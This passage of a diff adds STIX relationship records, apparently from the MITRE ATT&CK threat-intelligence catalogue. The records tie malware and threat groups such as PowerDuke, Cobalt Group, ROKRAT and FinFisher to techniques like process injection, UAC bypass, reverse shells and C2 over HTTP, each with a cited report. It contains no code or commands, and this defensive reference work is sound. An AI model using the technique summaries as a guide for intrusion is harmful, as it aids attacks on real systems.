}, + { + "type": "relationship", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) hides many of its backdoor payloads in an alternate data stream (ADS).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--91f59958-db5f-429c-9608-a033ea68486b", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.339Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has injected code into trusted processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6b083f3f-f8db-403d-b922-308b79d20cc7", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.809Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.061Z", + "id": "relationship--95842c88-c596-44c7-a16e-40d98e2457cc", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.934Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can download additional files from C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5f73d53f-f543-47b6-ab81-9a2764dabaef", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "Some variants of [FakeM](https://attack.mitre.org/software/S0076) use RC4 to encrypt C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4b6bee9b-469e-48ce-84fa-5322de03470a", + "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[Sakula](https://attack.mitre.org/software/S0074) calls cmd.exe to run various DLL files via rundll32.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a79ff150-e765-4303-9668-ff553d6000cd", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) attempts to bypass default User Access Control (UAC) settings by exploiting a backward-compatibility setting found in Windows 7 and later.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--054a22c3-f0ee-476a-b0cb-e3277c755032", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.710Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[MiniDuke](https://attack.mitre.org/software/S0051) uses HTTP and HTTPS for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d9e8d70a-06f6-4873-baf8-29ebfaf6bf99", + "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can migrate into another process using reflective DLL injection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4a0cbe7f-e88c-4ef6-8bf7-9f6e17e8de04", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.814Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) gathers the computer name and checks the OS version to ensure it doesn\u2019t run on a Windows XP or Windows Server 2003 systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cfc92bbe-4a8b-47ec-b12d-d08fdcea1fbb", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.319Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + }, + { + "source_name": "Talos ROKRAT 2", + "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html" + }, + { + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6cb293a0-aa2b-4919-b1ac-a801608aa4b5", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.403Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) is capable of executing commands and spawning a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e27e75c2-5734-4602-8a32-c56bb50f890b", + "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "After collecting documents from removable media, [Prikormka](https://attack.mitre.org/software/S0113) compresses the collected files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fada6223-ba24-4c26-aa89-3998f07604f9", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.303Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) executes payloads using the Windows API call CreateProcessW().", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4ed458b0-e5cd-48c7-baba-a33ca84a8738", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:02.967Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) extracted documents and bundled them into a RAR archive.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--953134ab-5816-43b8-b2b1-8f4c9305f57a", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "modified": "2019-03-25T16:57:02.808Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Dyre](https://attack.mitre.org/software/S0024) has a command to download and executes additional files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--47cd42b3-1a19-415f-8522-a601268d8017", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "modified": "2019-04-24T23:21:07.861Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "source_name": "Symantec Dyre June 2015", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has added the path of its second-stage malware to the startup folder to achieve persistence. One of its file stealers has also persisted by adding a Registry Run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.076Z", + "id": "relationship--3f954be4-205c-4cec-92f9-36715e204a49", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.844Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) injects itself into various processes depending on whether it is low integrity or high integrity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4d0ea359-36b3-46f8-818a-5aaff3de574a", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.359Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) recursively searches through directories for files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f7484ee2-6d98-4f5b-8788-2cf1675b349d", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.564Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can monitor services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--935f8b6e-cd74-46c4-9a74-f763b4f13955", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "A version of [XTunnel](https://attack.mitre.org/software/S0117) introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0c143634-89e1-47a0-9044-4ca39ccff76a", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "modified": "2019-04-19T18:36:31.927Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.047Z", + "id": "relationship--8d65162b-650d-4a38-9c19-cc6c8e85a2e9", + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "modified": "2019-03-25T16:51:54.123Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve 2014", + "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) modifies the time of a file as specified by the control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--26352538-769c-42c0-9e38-0338c5891432", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can execute a payload on a remote host with PowerShell. This technique does not write any data to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1b51b49a-1f3a-4b5d-aea3-989e9ccb72ad", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) can execute commands using cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--305ecc72-e820-44cb-ab52-593ccca814ff", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "source_name": "Zscaler Kasidet", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to create a remote shell and execute specified commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2c158663-599b-45a8-b946-6d545206428d", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "source_name": "Lotus Blossom Dec 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--63de6e73-7ec5-4cae-8d08-9c64428b52bf", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "modified": "2019-03-25T17:00:47.418Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Helminth](https://attack.mitre.org/software/S0170) has used [Tasklist](https://attack.mitre.org/software/S0057) to get information on processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--5bb90849-cdfe-4cc0-9ca3-128f17b2a1d1", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a5a72971-e4a1-494f-8e12-280ed06fe7b3", + "source_ref": "course-of-action--54e8722d-2faf-4b1b-93b6-6cbf9551669f", + "modified": "2019-07-24T19:35:08.287Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.025Z", + "id": "relationship--3c3f26b3-d676-4e17-adca-2a8ea4643148", + "source_ref": "course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf", + "modified": "2019-10-23T14:22:11.981Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b6ae274b-f0b3-4694-ab8d-37e0c62cff35", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": 